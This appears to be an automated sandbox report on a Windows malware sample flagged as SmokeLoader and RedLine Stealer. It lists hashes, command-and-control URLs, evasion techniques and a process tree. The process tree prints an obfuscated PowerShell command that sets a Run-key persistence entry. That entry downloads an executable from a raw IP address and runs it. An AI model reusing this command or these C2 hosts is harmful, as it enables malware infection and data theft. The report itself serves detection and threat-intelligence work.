Analysis
-
max time kernel
150s -
max time network
198s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
13-08-2021 07:58
Static task
static1
Behavioral task
behavioral1
Sample
b5de39be28a0649ef87494a658668e13.exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
b5de39be28a0649ef87494a658668e13.exe
Resource
win10v20210410
General
-
Target
b5de39be28a0649ef87494a658668e13.exe
-
Size
180KB
-
MD5
b5de39be28a0649ef87494a658668e13
-
SHA1
92e28e70185243da45ee2432241a58b0d4e7fda3
-
SHA256
138d79111af4f878d637e1a8dcf7dbdd46f70527eb68908ad2f977a3554031eb
-
SHA512
2065705100b75f249a6d558342b228442785c0848e027c805e7785de954d7dce93a015e4be9d1ce80a26d5e5bb22d0b4d788ee02dea22413f35a227928608e31
Malware Config
Extracted
smokeloader
2020
http://readinglistforjuly1.xyz/
http://readinglistforjuly2.xyz/
http://readinglistforjuly3.xyz/
http://readinglistforjuly4.xyz/
http://readinglistforjuly5.xyz/
http://readinglistforjuly6.xyz/
http://readinglistforjuly7.xyz/
http://readinglistforjuly8.xyz/
http://readinglistforjuly9.xyz/
http://readinglistforjuly10.xyz/
http://readinglistforjuly1.site/
http://readinglistforjuly2.site/
http://readinglistforjuly3.site/
http://readinglistforjuly4.site/
http://readinglistforjuly5.site/
http://readinglistforjuly6.site/
http://readinglistforjuly7.site/
http://readinglistforjuly8.site/
http://readinglistforjuly9.site/
http://readinglistforjuly10.site/
http://readinglistforjuly1.club/
http://readinglistforjuly2.club/
http://readinglistforjuly3.club/
http://readinglistforjuly4.club/
http://readinglistforjuly5.club/
http://readinglistforjuly6.club/
http://readinglistforjuly7.club/
http://readinglistforjuly8.club/
http://readinglistforjuly9.club/
http://readinglistforjuly10.club/
Signatures
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Downloads MZ/PE file
-
Executes dropped EXE 6 IoCs
Processes:
C85E.exeCC93.exeCF62.exeRuntimebroker.exeD2CC.exeDA6B.exepid process 240 C85E.exe 768 CC93.exe 860 CF62.exe 1940 Runtimebroker.exe 856 D2CC.exe 1692 DA6B.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
DA6B.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion DA6B.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion DA6B.exe -
Deletes itself 1 IoCs
Processes:
pid process 1256 -
Drops startup file 2 IoCs
Processes:
cmd.exedescription ioc process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchostsw.exe cmd.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchostsw.exe cmd.exe -
Loads dropped DLL 2 IoCs
Processes:
CC93.exepid process 768 CC93.exe 768 CC93.exe -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\DA6B.exe themida behavioral1/memory/1692-94-0x0000000000C50000-0x0000000000C51000-memory.dmp themida -
Processes:
DA6B.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA DA6B.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
DA6B.exepid process 1692 DA6B.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
b5de39be28a0649ef87494a658668e13.exedescription pid process target process PID 592 set thread context of 1992 592 b5de39be28a0649ef87494a658668e13.exe b5de39be28a0649ef87494a658668e13.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
b5de39be28a0649ef87494a658668e13.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI b5de39be28a0649ef87494a658668e13.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI b5de39be28a0649ef87494a658668e13.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI b5de39be28a0649ef87494a658668e13.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
b5de39be28a0649ef87494a658668e13.exepid process 1992 b5de39be28a0649ef87494a658668e13.exe 1992 b5de39be28a0649ef87494a658668e13.exe 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 1256 -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
pid process 1256 -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
b5de39be28a0649ef87494a658668e13.exepid process 1992 b5de39be28a0649ef87494a658668e13.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
DA6B.exepowershell.exedescription pid process Token: SeShutdownPrivilege 1256 Token: SeShutdownPrivilege 1256 Token: SeDebugPrivilege 1692 DA6B.exe Token: SeDebugPrivilege 1996 powershell.exe -
Suspicious use of FindShellTrayWindow 6 IoCs
Processes:
pid process 1256 1256 1256 1256 1256 1256 -
Suspicious use of SendNotifyMessage 8 IoCs
Processes:
pid process 1256 1256 1256 1256 1256 1256 1256 1256 -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
C85E.exepid process 240 C85E.exe -
Suspicious use of WriteProcessMemory 42 IoCs
Processes:
b5de39be28a0649ef87494a658668e13.exeCC93.exeRuntimebroker.exeCF62.exedescription pid process target process PID 592 wrote to memory of 1992 592 b5de39be28a0649ef87494a658668e13.exe b5de39be28a0649ef87494a658668e13.exe PID 592 wrote to memory of 1992 592 b5de39be28a0649ef87494a658668e13.exe b5de39be28a0649ef87494a658668e13.exe PID 592 wrote to memory of 1992 592 b5de39be28a0649ef87494a658668e13.exe b5de39be28a0649ef87494a658668e13.exe PID 592 wrote to memory of 1992 592 b5de39be28a0649ef87494a658668e13.exe b5de39be28a0649ef87494a658668e13.exe PID 592 wrote to memory of 1992 592 b5de39be28a0649ef87494a658668e13.exe b5de39be28a0649ef87494a658668e13.exe PID 592 wrote to memory of 1992 592 b5de39be28a0649ef87494a658668e13.exe b5de39be28a0649ef87494a658668e13.exe PID 592 wrote to memory of 1992 592 b5de39be28a0649ef87494a658668e13.exe b5de39be28a0649ef87494a658668e13.exe PID 1256 wrote to memory of 240 1256 C85E.exe PID 1256 wrote to memory of 240 1256 C85E.exe PID 1256 wrote to memory of 240 1256 C85E.exe PID 1256 wrote to memory of 240 1256 C85E.exe PID 1256 wrote to memory of 768 1256 CC93.exe PID 1256 wrote to memory of 768 1256 CC93.exe PID 1256 wrote to memory of 768 1256 CC93.exe PID 1256 wrote to memory of 768 1256 CC93.exe PID 768 wrote to memory of 1940 768 CC93.exe Runtimebroker.exe PID 768 wrote to memory of 1940 768 CC93.exe Runtimebroker.exe PID 768 wrote to memory of 1940 768 CC93.exe Runtimebroker.exe PID 768 wrote to memory of 1940 768 CC93.exe Runtimebroker.exe PID 1256 wrote to memory of 860 1256 CF62.exe PID 1256 wrote to memory of 860 1256 CF62.exe PID 1256 wrote to memory of 860 1256 CF62.exe PID 1256 wrote to memory of 860 1256 CF62.exe PID 1256 wrote to memory of 856 1256 D2CC.exe PID 1256 wrote to memory of 856 1256 D2CC.exe PID 1256 wrote to memory of 856 1256 D2CC.exe PID 1256 wrote to memory of 856 1256 D2CC.exe PID 1256 wrote to memory of 1692 1256 DA6B.exe PID 1256 wrote to memory of 1692 1256 DA6B.exe PID 1256 wrote to memory of 1692 1256 DA6B.exe PID 1256 wrote to memory of 1692 1256 DA6B.exe PID 1256 wrote to memory of 1692 1256 DA6B.exe PID 1256 wrote to memory of 1692 1256 DA6B.exe PID 1256 wrote to memory of 1692 1256 DA6B.exe PID 1940 wrote to memory of 1996 1940 Runtimebroker.exe powershell.exe PID 1940 wrote to memory of 1996 1940 Runtimebroker.exe powershell.exe PID 1940 wrote to memory of 1996 1940 Runtimebroker.exe powershell.exe PID 1940 wrote to memory of 1996 1940 Runtimebroker.exe powershell.exe PID 860 wrote to memory of 1320 860 CF62.exe cmd.exe PID 860 wrote to memory of 1320 860 CF62.exe cmd.exe PID 860 wrote to memory of 1320 860 CF62.exe cmd.exe PID 860 wrote to memory of 1320 860 CF62.exe cmd.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\b5de39be28a0649ef87494a658668e13.exe"C:\Users\Admin\AppData\Local\Temp\b5de39be28a0649ef87494a658668e13.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\b5de39be28a0649ef87494a658668e13.exe"C:\Users\Admin\AppData\Local\Temp\b5de39be28a0649ef87494a658668e13.exe"2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\C85E.exeC:\Users\Admin\AppData\Local\Temp\C85E.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\CC93.exeC:\Users\Admin\AppData\Local\Temp\CC93.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\Runtimebroker.exe"C:\ProgramData\Runtimebroker.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://193.56.146.55/Ru''+''nti''+''m''+''ebr''+''oke''+''r.exe''),($env:TEMP+''\Vp''+''nm.e''+''xe''));Start-Process ($env:TEMP+''\V''+''pn''+''m.exe'')'3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\CF62.exeC:\Users\Admin\AppData\Local\Temp\CF62.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /Q /C C:\Users\Admin\AppData\Local\Temp/s.bat2⤵
- Drops startup file
-
C:\Users\Admin\AppData\Local\Temp\D2CC.exeC:\Users\Admin\AppData\Local\Temp\D2CC.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\DA6B.exeC:\Users\Admin\AppData\Local\Temp\DA6B.exe1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\Runtimebroker.exeMD5
4f2f17aaf39970811b9f822b1496dc01
SHA1bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876
SHA2563ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b
SHA51244c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9
-
C:\ProgramData\Runtimebroker.exeMD5
4f2f17aaf39970811b9f822b1496dc01
SHA1bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876
SHA2563ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b
SHA51244c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9
-
C:\Users\Admin\AppData\Local\Temp\C85E.exeMD5
a69e12607d01237460808fa1709e5e86
SHA14a12f82aee1c90e70cdf6be863ce1a749c8ae411
SHA256188e05efb42c1f7fdb5c910a6614f710a87ae642b23ac9ffe3f75246744865bc
SHA5127533e6da6bac0405fc8b608da8020b54b6ee02592e6fd40ea342e130a8a876ae5ef4a1fd636d95e76339dbf8be45cecbd22ca2d0a4635b055ffafec3d7e15284
-
C:\Users\Admin\AppData\Local\Temp\CC93.exeMD5
4f2f17aaf39970811b9f822b1496dc01
SHA1bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876
SHA2563ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b
SHA51244c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9
-
C:\Users\Admin\AppData\Local\Temp\CC93.exeMD5
4f2f17aaf39970811b9f822b1496dc01
SHA1bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876
SHA2563ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b
SHA51244c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9
-
C:\Users\Admin\AppData\Local\Temp\CF62.exeMD5
b19ac380411ed5d8b5a7e7e0c1da61a6
SHA19665c20336a5ce437bbf7b564370bfa43e99954c
SHA256aba88a19b2f6e2cf9a6a41ab8661d83c433acec363028f58dd74d37e335c7619
SHA51273b4e3555cf9496a7138a2c7071ed81a754493afaf15f604a305f3eb051ed72645731a6174b0934f24371dbe5bd8c0185516f87778a018d84df4fff8aea0c208
-
C:\Users\Admin\AppData\Local\Temp\CF62.exeMD5
b19ac380411ed5d8b5a7e7e0c1da61a6
SHA19665c20336a5ce437bbf7b564370bfa43e99954c
SHA256aba88a19b2f6e2cf9a6a41ab8661d83c433acec363028f58dd74d37e335c7619
SHA51273b4e3555cf9496a7138a2c7071ed81a754493afaf15f604a305f3eb051ed72645731a6174b0934f24371dbe5bd8c0185516f87778a018d84df4fff8aea0c208
-
C:\Users\Admin\AppData\Local\Temp\D2CC.exeMD5
5707ddada5b7ea6bef434cd294fa12e1
SHA145bb285a597b30e100ed4b15d96a29d718697e5e
SHA25685205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c
SHA51291cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13
-
C:\Users\Admin\AppData\Local\Temp\D2CC.exeMD5
5707ddada5b7ea6bef434cd294fa12e1
SHA145bb285a597b30e100ed4b15d96a29d718697e5e
SHA25685205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c
SHA51291cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13
-
C:\Users\Admin\AppData\Local\Temp\DA6B.exeMD5
717d65dba56f47e540dca074c3977b3d
SHA1d58aa30f826f41663e693f0ad930fdce584f1672
SHA25661fb1160ae372d9ba1c95400d5439450c6a66cdf073fa50ee2d5d10c4952cbb3
SHA512b06e4358411eb8f6315c574922c021bd57218b3e6a0ed727df6b44e20e7818d40fb0347050ce9145ea7e0fd56a7fa93a2358e524c0df030d6d44067c7c83510d
-
C:\Users\Admin\AppData\Local\Temp\s.batMD5
d187a208393e6afda6dc87c82c7245ea
SHA18081c582b97af0b6abfb3ed0cfd5e400754bfcb7
SHA256a2d765ed71941ab4e0db2526de99f3c16838fb19e6577d5f126712649036c6c5
SHA512da8e3a3320768d6aac3bba8486820dc31e3393ecaa0109312197429a922dcc8451d8b8c6e1cfa48162f40c598be206d1c206df7adf38c495d245b3dd65501895
-
\ProgramData\Runtimebroker.exeMD5
4f2f17aaf39970811b9f822b1496dc01
SHA1bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876
SHA2563ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b
SHA51244c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9
-
\ProgramData\Runtimebroker.exeMD5
4f2f17aaf39970811b9f822b1496dc01
SHA1bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876
SHA2563ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b
SHA51244c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9
-
memory/240-65-0x0000000000000000-mapping.dmp
-
memory/592-63-0x0000000000220000-0x000000000022A000-memory.dmpFilesize
40KB
-
memory/768-69-0x0000000000000000-mapping.dmp
-
memory/768-80-0x0000000000220000-0x000000000025B000-memory.dmpFilesize
236KB
-
memory/768-81-0x0000000000400000-0x0000000002C7C000-memory.dmpFilesize
40.5MB
-
memory/856-88-0x0000000000650000-0x0000000000651000-memory.dmpFilesize
4KB
-
memory/856-83-0x0000000000000000-mapping.dmp
-
memory/856-86-0x0000000001210000-0x0000000001211000-memory.dmpFilesize
4KB
-
memory/860-91-0x00000000032E0000-0x0000000003523000-memory.dmpFilesize
2.3MB
-
memory/860-96-0x0000000000400000-0x0000000002D86000-memory.dmpFilesize
41.5MB
-
memory/860-105-0x0000000004E70000-0x0000000005081000-memory.dmpFilesize
2.1MB
-
memory/860-112-0x0000000000400000-0x0000000002D86000-memory.dmpFilesize
41.5MB
-
memory/860-76-0x0000000000000000-mapping.dmp
-
memory/1256-64-0x0000000002C20000-0x0000000002C36000-memory.dmpFilesize
88KB
-
memory/1320-108-0x0000000000000000-mapping.dmp
-
memory/1692-89-0x0000000000000000-mapping.dmp
-
memory/1692-94-0x0000000000C50000-0x0000000000C51000-memory.dmpFilesize
4KB
-
memory/1692-97-0x0000000002850000-0x0000000002851000-memory.dmpFilesize
4KB
-
memory/1940-75-0x0000000000000000-mapping.dmp
-
memory/1940-82-0x0000000000400000-0x0000000002C7C000-memory.dmpFilesize
40.5MB
-
memory/1992-62-0x0000000075A71000-0x0000000075A73000-memory.dmpFilesize
8KB
-
memory/1992-60-0x0000000000400000-0x0000000000409000-memory.dmpFilesize
36KB
-
memory/1992-61-0x0000000000402E1A-mapping.dmp
-
memory/1996-101-0x00000000023F0000-0x00000000023F1000-memory.dmpFilesize
4KB
-
memory/1996-106-0x0000000004790000-0x0000000004791000-memory.dmpFilesize
4KB
-
memory/1996-103-0x0000000004980000-0x0000000004981000-memory.dmpFilesize
4KB
-
memory/1996-109-0x0000000005340000-0x0000000005341000-memory.dmpFilesize
4KB
-
memory/1996-104-0x0000000004982000-0x0000000004983000-memory.dmpFilesize
4KB
-
memory/1996-102-0x00000000049C0000-0x00000000049C1000-memory.dmpFilesize
4KB
-
memory/1996-99-0x0000000000000000-mapping.dmp